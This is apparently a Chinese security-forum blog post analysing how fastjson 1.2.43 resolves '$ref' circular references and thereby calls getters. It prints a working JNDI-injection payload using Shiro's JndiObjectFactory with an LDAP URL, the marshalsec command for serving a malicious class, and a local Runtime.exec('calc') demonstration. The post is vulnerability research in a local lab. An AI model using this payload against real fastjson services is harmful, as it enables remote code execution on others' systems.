前言虽然 网上已经有很多’fastjson’ 的 ‘payload’ ,并且分析漏洞的文章也不在少数了,但是我发现好像没什么分析 ‘循环引用($ref)’这个属性的在学习 ‘fastjson’漏洞的时候尝试进…
前言
虽然 网上已经有很多fastjson 的 payload ,并且分析漏洞的文章也不在少数了,但是我发现好像没什么分析 循环引用($ref)这个属性的
在学习 fastjson漏洞的时候尝试进行了一些分析记录下来。
如果有错误希望师傅们斧正
本篇文章不会从 fastjson漏洞的原理讲起,建议师傅们先学习漏洞的成因以及调试一些 fastjson内部的代码
这里推荐两篇我看过的很好的的文章:
https://www.yuque.com/tianxiadamutou/zcfd4v/xehnw7#dfe50187
环境部署
此次实验环境使用的是 fastjson 1.2.43 +jdk1.8.161
测试代码:
String payload ="{\"@type\":\"org.apache.shiro.jndi.JndiObjectFactory\"," +
"\"ResourceName\":\"ldap://127.0.0.1:1389/ldapServer\"," +
"\"a\":{\"$ref\":\"$.instance\"\}\}"
;
JSON.parse(payload);
1389是通过 marshalsec 开启的 LADP 服务器
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#ldapServer 1389
8000端口是我用 python开的服务器,上面挂在着 ldapServer.class恶意类(弹服务器)
漏洞分析
这个 payload会自动触发 JndiObjectFactory 的 getInstance函数,然后执行 lookup最终运行恶意代码。
那是怎么触发的呢,我们可以首先进入 parse找到:
进入 handleResovleTask:
这里循环了 resolveTaskList,想知道它是在哪里添加的,我们可以在:
addResolveTask函数上下断点。
执行到此处以后我们向前找到几个函数:
当 fastjson在解析字段时,会执行到 parseField:
通常情况下,如果类里面存在指定的字段,那就会在此处返回一个对象,但是我们指定的 instance是不在 JndiObjectFactory类的。
然后就会执行到下面:
进入 parseExtra后:
再次进入 parse 看到此处:
为什么会进入 case 12呢,我们可以在 JSONLexerBase类发现当字符是 {时 token 赋值为 12
进入 parseObject,大概到 287 行:
通过上面的词法分析会取得 key为 $ref,ref为 $.instance
然后再下面一些:
此处判断了如果 ref 不为 @、..、$ 就进入最后的 else,然后进入我们最开始的的 addResolveTask函数。
回到最开始的 handleResovleTask函数:
此处的 ref为 $.instance ,最终进入 JSONPath.eval:
再次进入 eval,但是此处我们需要注意一个变量,就是第一个参数为 JndiObjectFactory这个类
他的 resourceName已经是指向我们的恶意 LDAP服务器了,我们只需要触发这个类的 getInstance函数即可了。
再次进入 eval:
public Object eval(JSONPath path, Object rootObject, Object currentObject) {
if (this.deep) {
....
} else {
// 进入此处
return path.getPropertyValue(currentObject, this.propertyName, this.propertyNameHash);
}
}
需要注意这里的 this.propertyName为 instance,接着进入 getPropertyValue:
此处稍微解释一下 getJavaBeanSerializer 函数:
根据传进的类(此处为 JndiObjectFactory )获得类中的方法
如果函数名中有 get 并且符合一定条件就会加入到 getters。
接着看代码:
这里的 propertyName依然为 instance
会发现第三个参数为 propertyNameHash,根据名字可以知道这是第二次参数的 hash值。
进入 getFieldValue函数:
public Object getFieldValue(Object object, String key, long keyHash, boolean throwFieldNotFoundException) {
// 根据 keyHash 获得字段的值
FieldSerializer fieldDeser = this.getFieldSerializer(keyHash);
if (fieldDeser == null) {
.....
} else {
try {
return fieldDeser.getPropertyValue(object);
} catch (InvocationTargetException var8) {
throw new JSONException("getFieldValue error." + key, var8);
} catch (IllegalAccessException var9) {
throw new JSONException("getFieldValue error." + key, var9);
}
}
}
放出一个 fieldDeser属性截图,此处的 method为 getInstance:
然后进入 getPropertyValue:
进入 FieldInfo类的 get 方法:
此处 method不为空,调用 getInstance:
触发 lookup 获取恶 class执行代码。
其实我们不一定需要用到什么固定的类,我们甚至可以本地搭建一个进行测试
本地新建一个类:
public class TestObject {
public String getHaha() throws IOException {
Runtime.getRuntime().exec("calc");
return "1";
}
}
然后我们测试代码:
String payload ="{\"@type\":\"TestObject\",\"haha\":{\"$ref\":\"$.Haha\"\}\}";
JSON.parse(payload);
会发现依然可以弹出计算器,说明我们的分析大致是没什么问题的。
总结
本文没什么高深的技术,因为是初学,对分析过程的一个记录,分析过程可能也存在一定错误,如果发现哪里讲得不对,希望师傅们可以即使指出。一起学习
- 本文作者: ruozhididi
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/588
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!


















